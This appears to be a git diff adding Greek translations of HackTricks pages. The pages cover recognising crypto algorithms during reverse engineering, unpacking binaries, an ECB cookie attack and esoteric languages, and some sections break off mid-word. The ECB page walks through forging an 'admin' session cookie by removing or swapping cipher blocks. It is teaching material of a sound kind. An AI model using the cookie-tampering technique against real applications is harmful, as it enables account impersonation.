||||||
|
|
||||||
|
</details>
|
137
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
137
crypto-and-stego/cryptographic-algorithms/README.md
Normal file
|
@ -0,0 +1,137 @@
|
||||||
|
# Κρυπτογραφικοί/Αλγόριθμοι Συμπίεσης
|
||||||
|
|
||||||
|
## Κρυπτογραφικοί/Αλγόριθμοι Συμπίεσης
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Αναγνώριση Αλγορίθμων
|
||||||
|
|
||||||
|
Εάν καταλήξετε σε κώδικα **που χρησιμοποιεί δεξιές και αριστερές μετατοπίσεις, XOR και πολλές αριθμητικές πράξεις**, είναι πολύ πιθανό ότι πρόκειται για την υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν ορισμένοι τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αναστρέψετε κάθε βήμα**.
|
||||||
|
|
||||||
|
### Συναρτήσεις API
|
||||||
|
|
||||||
|
**CryptDeriveKey**
|
||||||
|
|
||||||
|
Εάν χρησιμοποιείται αυτή η συνάρτηση, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των αντιστοιχισμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
|
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||||
|
|
||||||
|
Συμπιέζει και αποσυμπιέζει έναν δοσμένο πίνακα δεδομένων.
|
||||||
|
|
||||||
|
**CryptAcquireContext**
|
||||||
|
|
||||||
|
Από [τα έγγραφα](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η συνάρτηση **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα χειριστή για ένα συγκεκριμένο δοχείο κλειδιών εντός ενός συγκεκριμένου παρόχου κρυπτογραφικών υπηρεσιών (CSP). **Αυτός ο χειριστής που επιστρέφεται χρησιμοποιείται σε κλήσεις συναρτήσεων CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP.
|
||||||
|
|
||||||
|
**CryptCreateHash**
|
||||||
|
|
||||||
|
Ξεκινά τον υπολογισμό του κατακερματισμού ενός ρεύματος δεδομένων. Εάν χρησιμοποιείται αυτή η συνάρτηση, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (376).png>)
|
||||||
|
|
||||||
|
\
|
||||||
|
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των αντιστοιχισμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
|
### Σταθερές κώδικα
|
||||||
|
|
||||||
|
Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (370).png>)
|
||||||
|
|
||||||
|
Εά
|
||||||
|
## RSA **(Ασύμμετρη Κρυπτογραφία)**
|
||||||
|
|
||||||
|
### Χαρακτηριστικά
|
||||||
|
|
||||||
|
* Πιο πολύπλοκο από τους συμμετρικούς αλγορίθμους
|
||||||
|
* Δεν υπάρχουν σταθερές! (η προσαρμογή προσαρμοσμένων υλοποιήσεων είναι δύσκολη)
|
||||||
|
* Ο KANAL (ένας κρυπτοαναλυτής) αποτυγχάνει να εμφανίσει υποδείξεις για το RSA καθώς βασίζεται σε σταθερές.
|
||||||
|
|
||||||
|
### Αναγνώριση με συγκρίσεις
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (383).png>)
|
||||||
|
|
||||||
|
* Στη γραμμή 11 (αριστερά) υπάρχει το `+7) >> 3` που είναι το ίδιο με τη γραμμή 35 (δεξιά): `+7) / 8`
|
||||||
|
* Η γραμμή 12 (αριστερά) ελέγχει αν `modulus_len < 0x040` και στη γραμμή 36 (δεξιά) ελέγχει αν `inputLen+11 > modulusLen`
|
||||||
|
|
||||||
|
## MD5 & SHA (κατακερματισμός)
|
||||||
|
|
||||||
|
### Χαρακτηριστικά
|
||||||
|
|
||||||
|
* 3 συναρτήσεις: Init, Update, Final
|
||||||
|
* Παρόμοιες συναρτήσεις αρχικοποίησης
|
||||||
|
|
||||||
|
### Αναγνώριση
|
||||||
|
|
||||||
|
**Init**
|
||||||
|
|
||||||
|
Μπορείτε να αναγνωρίσετε και τα δύο ελέγχοντας τις σταθερές. Σημειώστε ότι η sha\_init έχει 1 σταθερά που η MD5 δεν έχει:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (385).png>)
|
||||||
|
|
||||||
|
**Μετασχηματισμός MD5**
|
||||||
|
|
||||||
|
Σημειώστε τη χρήση περισσότερων σταθερών
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||||
|
|
||||||
|
## CRC (κατακερματισμός)
|
||||||
|
|
||||||
|
* Μικρότερο και πιο αποδοτικό καθώς η λειτουργία του είναι να εντοπίζει ατύχημα αλλαγές στα δεδομένα
|
||||||
|
* Χρησιμοποιεί πίνακες αναζήτησης (ώστε να μπορείτε να αναγνωρίσετε σταθερές)
|
||||||
|
|
||||||
|
### Αναγνώριση
|
||||||
|
|
||||||
|
Ελέγξτε τις **σταθερές του πίνακα αναζήτησης**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (387).png>)
|
||||||
|
|
||||||
|
Ένας αλγόριθμος κατακερματισμού CRC φαίνεται όπως εξής:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (386).png>)
|
||||||
|
|
||||||
|
## APLib (Συμπίεση)
|
||||||
|
|
||||||
|
### Χαρακτηριστικά
|
||||||
|
|
||||||
|
* Δεν υπάρχουν αναγνωρίσιμες σταθερές
|
||||||
|
* Μπορείτε να δοκιμάσετε να γράψετε τον αλγόριθμο σε Python και να αναζητήσετε παρόμοια πράγματα στο διαδίκτυο
|
||||||
|
|
||||||
|
### Αναγνώριση
|
||||||
|
|
||||||
|
Το γράφημα είναι αρκετά μεγάλο:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||||
|
|
||||||
|
Ελέγξτε **3 συγκρίσεις για να το αναγνωρίσετε**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (384).png>)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,31 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Αναγνώριση συμπιεσμένων δυαδικών αρχείων
|
||||||
|
|
||||||
|
* **Έλλειψη συμβολοσειρών**: Συνήθως συναντάμε συμπιεσμένα δυαδικά αρχεία που δεν έχουν σχεδόν καμία συμβολοσειρά.
|
||||||
|
* Πολλές **αχρησιμοποίητες συμβολοσειρές**: Επίσης, όταν ένα κακόβουλο λογισμικό χρησιμοποιεί κάποιο είδος εμπορικού συμπιεστή, είναι συνηθισμένο να βρίσκουμε πολλές συμβολοσειρές χωρίς αναφορές. Ακόμα και αν αυτές οι συμβολοσειρές υπάρχουν, αυτό δεν σημαίνει ότι το δυαδικό δεν είναι συμπιεσμένο.
|
||||||
|
* Μπορείτε επίσης να χρησιμοποιήσετε ορισμένα εργαλεία για να προσπαθήσετε να βρείτε ποιος συμπιεστής χρησιμοποιήθηκε για τη συμπίεση ενός δυαδικού αρχείου:
|
||||||
|
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||||
|
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
|
||||||
|
* [Language 2000](http://farrokhi.net/language/)
|
||||||
|
|
||||||
|
# Βασικές συστάσεις
|
||||||
|
|
||||||
|
* **Ξεκινήστε** την ανάλυση του συμπιεσμένου δυαδικού αρχείου **από το τέλος στο IDA και κινηθείτε προς τα πάνω**. Οι αποσυμπιεστές τερματίζουν όταν τερματίζει ο αποσυμπιεσμένος κώδικας, οπότε είναι απίθανο να περάσει ο αποσυμπιεστής την εκτέλεση στον αποσυμπιεσμένο κώδικα στην αρχή.
|
||||||
|
* Αναζητήστε **JMP** ή **CALL** προς **καταχωρητές** ή **περιοχές** μνήμης. Αναζητήστε επίσης **συναρτήσεις που προωθούν ορίσματα και μια διεύθυνση κατεύθυνσης και στη συνέχεια καλούν την `retn`**, επειδή η επιστροφή της συνάρτησης σε αυτήν την περίπτωση μπορεί να καλέσει τη διεύθυνση που μόλις προωθήθηκε στη στοίβα πριν την κλήση της.
|
||||||
|
* Βάλτε ένα **σημείο διακοπής** στο `VirtualAlloc`, καθώς αυτό εκχωρεί χώρο στη μνήμη όπου το πρόγραμμα μπορεί να γράψει αποσυμπιεσμένο κώδικα. Τρέξτε το "run to user code" ή χρησιμοποιήστε το F8 για να **φτάσετε στην τιμή μέσα στο EAX** μετά την εκτέλεση της συνάρτησης και "**ακολουθήστε αυτήν τη διεύθυνση στην αναφορά**". Δεν ξέρετε ποτέ αν αυτή είναι η περιοχή όπου θα αποθηκευτεί ο αποσυμπιεσμένος κώδικας.
|
||||||
|
* Το **`VirtualAlloc`** με την τιμή "**40**" ως όρισμα σημαίνει Read+Write+Execute (κάποιος κώδικας που χρειάζεται εκτέλεση θα αντιγραφεί εδώ).
|
||||||
|
* Κατά την αποσυμπίεση του κώδικα, είναι φυσιολογικό να βρείτε **πολλές κλήσεις** σε **αριθμητικές πράξεις** και σε συναρτήσεις όπως **`memcopy`** ή **`Virtual`**`Alloc`. Εάν βρεθείτε σε μια συνάρτηση που φαίνεται να εκτελεί μόνο αριθμητικές πράξεις και ίσως κάποιο `memcopy`, η σύσταση είναι να προσπαθήσετε να **βρείτε το τέλος της συνάρτησης** (ίσως ένα JMP ή κλήση σε κάποιον καταχωρητή) **ή τ
|
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
94
crypto-and-stego/electronic-code-book-ecb.md
Normal file
|
@ -0,0 +1,94 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# ECB
|
||||||
|
|
||||||
|
(ECB) Ηλεκτρονικό Βιβλίο Κωδικοποίησης - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτοκειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **διαιρέσετε** το καθαρό κείμενο σε **μπλοκ των N bits** (εξαρτάται από το μέγεθος του μπλοκ των εισροών δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας μόνο το κλειδί.
|
||||||
|
|
||||||
|
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||||
|
|
||||||
|
Η χρήση του ECB έχει πολλές ασφαλείας συνέπειες:
|
||||||
|
|
||||||
|
* **Μπορούν να αφαιρεθούν μπλοκ από το κρυπτογραφημένο μήνυμα**
|
||||||
|
* **Μπορούν να μετακινηθούν μπλοκ από το κρυπτογραφημένο μήνυμα**
|
||||||
|
|
||||||
|
# Ανίχνευση της ευπάθειας
|
||||||
|
|
||||||
|
Φανταστείτε ότι συνδέεστε σε μια εφαρμογή αρκετές φορές και πάντα λαμβάνετε το ίδιο cookie. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`<username>|<password>`**.\
|
||||||
|
Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\
|
||||||
|
Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι ίδιες είναι **ίσα**. Σκέφτεστε ότι αυτό μπορεί να συμβαίνει επειδή χρησιμοποιείται η ECB.
|
||||||
|
|
||||||
|
Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν αρκετές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**
|
||||||
|
```
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||||
|
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||||
|
```
|
||||||
|
Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιέχουν αρκετές φορές το γράμμα "α"** (για παράδειγμα). Τα **τμήματα** που είναι **διαφορετικά** είναι τμήματα που περιέχουν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη).
|
||||||
|
|
||||||
|
Τώρα, ο επιτιθέμενος απλά χρειάζεται να ανακαλύψει αν η μορφή είναι `<όνομα χρήστη><διαχωριστικό><κωδικός πρόσβασης>` ή `<κωδικός πρόσβασης><διαχωριστικό><όνομα χρήστη>`. Για να το κάνει αυτό, μπορεί απλά να **δημιουργήσει αρκετά ονόματα χρηστών** με παρόμοια και μακριά ονόματα χρηστών και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:
|
||||||
|
|
||||||
|
| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Συνολικό μήκος ονόματος χρήστη + κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): |
|
||||||
|
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||||
|
| 2 | 2 | 4 | 8 |
|
||||||
|
| 3 | 3 | 6 | 8 |
|
||||||
|
| 3 | 4 | 7 | 8 |
|
||||||
|
| 4 | 4 | 8 | 16 |
|
||||||
|
| 7 | 7 | 14 | 16 |
|
||||||
|
|
||||||
|
# Εκμετάλλευση της ευπάθειας
|
||||||
|
|
||||||
|
## Αφαίρεση ολόκληρων τμημάτων
|
||||||
|
|
||||||
|
Γνωρίζοντας τη μορφή του cookie (`<όνομα χρήστη>|<κωδικός πρόσβασης>`), για να προσομοιώσετε το όνομα χρήστη `admin`, δημιουργήστε ένα νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το:
|
||||||
|
```
|
||||||
|
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
|
```
|
||||||
|
Μπορούμε να δούμε το πρότυπο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο το `a`.\
|
||||||
|
Στη συνέχεια, μπορείτε να αφαιρέσετε τον πρώτο κομμάτι των 8B και θα λάβετε ένα έγκυρο cookie για το όνομα χρήστη `admin`:
|
||||||
|
```
|
||||||
|
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||||
|
```
|
||||||
|
## Μετακίνηση τμημάτων
|
||||||
|
|
||||||
|
Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητήσετε `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_
|
||||||
|
|
||||||
|
Έτσι, ένας άλλος τρόπος να προσποιηθείτε τον χρήστη `admin` θα ήταν:
|
||||||
|
|
||||||
|
* Δημιουργήστε ένα όνομα χρήστη που: `len(<username>) + len(<delimiter) % len(block)`. Με μέγεθος τμήματος `8B` μπορείτε να δημιουργήσετε ένα όνομα χρήστη με το όνομα: `username `, με τον διαχωριστή `|` το τμήμα `<username><delimiter>` θα δημιουργήσει 2 τμήματα των 8Bs.
|
||||||
|
* Στη συνέχεια, δημιουργήστε έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό τμημάτων που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin `
|
||||||
|
|
||||||
|
Το cookie αυτού του χρήστη θα αποτελείται από 3 τμήματα: τα πρώτα 2 είναι τα τμήματα του ονόματος χρήστη + διαχωριστής και το τρίτο είναι το τμήμα του κωδικού πρόσβασης (που προσποιείται το όνομα χρήστη): `username |admin `
|
||||||
|
|
||||||
|
**Στη συνέχεια, απλά αντικαταστήστε το πρώτο τμήμα με το τελευταίο και θα προσποιείστε τον χρήστη `admin`: `admin |username`**
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
91
crypto-and-stego/esoteric-languages.md
Normal file
91
crypto-and-stego/esoteric-languages.md
Normal file
|
@ -0,0 +1,91 @@
|
||||||
|
# Εξωτικές γλώσσες
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||||
|
|
||||||
|
Ελέγξτε αυτό το wiki για να αναζητήσετε περισσότερες εξωτικές γλώσσες
|
||||||
|
|
||||||
|
## Malbolge
|
||||||
|
```
|
||||||
|
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||||
|
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||||
|
```
|
||||||
|
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||||
|
|
||||||
|
## npiet
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (146).png>)
|
||||||
|
|
||||||
|
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||||
|
|
||||||
|
## Rockstar
|
||||||
|
```
|
||||||
|
Midnight takes your heart and your soul
|
||||||
|
While your heart is as high as your soul
|
||||||
|
Put your heart without your soul into your heart
|
||||||
|
|
||||||
|
Give back your heart
|
||||||
|
|
||||||
|
|
||||||
|
Desire is a lovestruck ladykiller
|
||||||
|
My world is nothing
|
||||||
|
Fire is ice
|
||||||
|
Hate is water
|
||||||
|
Until my world is Desire,
|
||||||
|
Build my world up
|
||||||
|
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
|
||||||
|
Shout "FizzBuzz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
If Midnight taking my world, Fire is nothing
|
||||||
|
Shout "Fizz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
If Midnight taking my world, Hate is nothing
|
||||||
|
Say "Buzz!"
|
||||||
|
Take it to the top
|
||||||
|
|
||||||
|
Whisper my world
|
||||||
|
```
|
||||||
|
{% embed url="https://codewithrockstar.com/" %}
|
||||||
|
|
||||||
|
## PETOOH
|
||||||
|
|
||||||
|
Η γλώσσα PETOOH είναι μια εξωτική γλώσσα προγραμματισμού που βασίζεται στην ιδέα της μετατροπής των λέξεων σε ζώα. Ο κώδικας PETOOH αποτελείται από μια σειρά λέξεων που αντιστοιχούν σε διάφορες ενέργειες και εντολές. Κάθε λέξη αντιστοιχεί σε έναν αριθμό, ο οποίος αναπαριστά τη θέση της λέξης στο λεξικό της γλώσσας PETOOH.
|
||||||
|
|
||||||
|
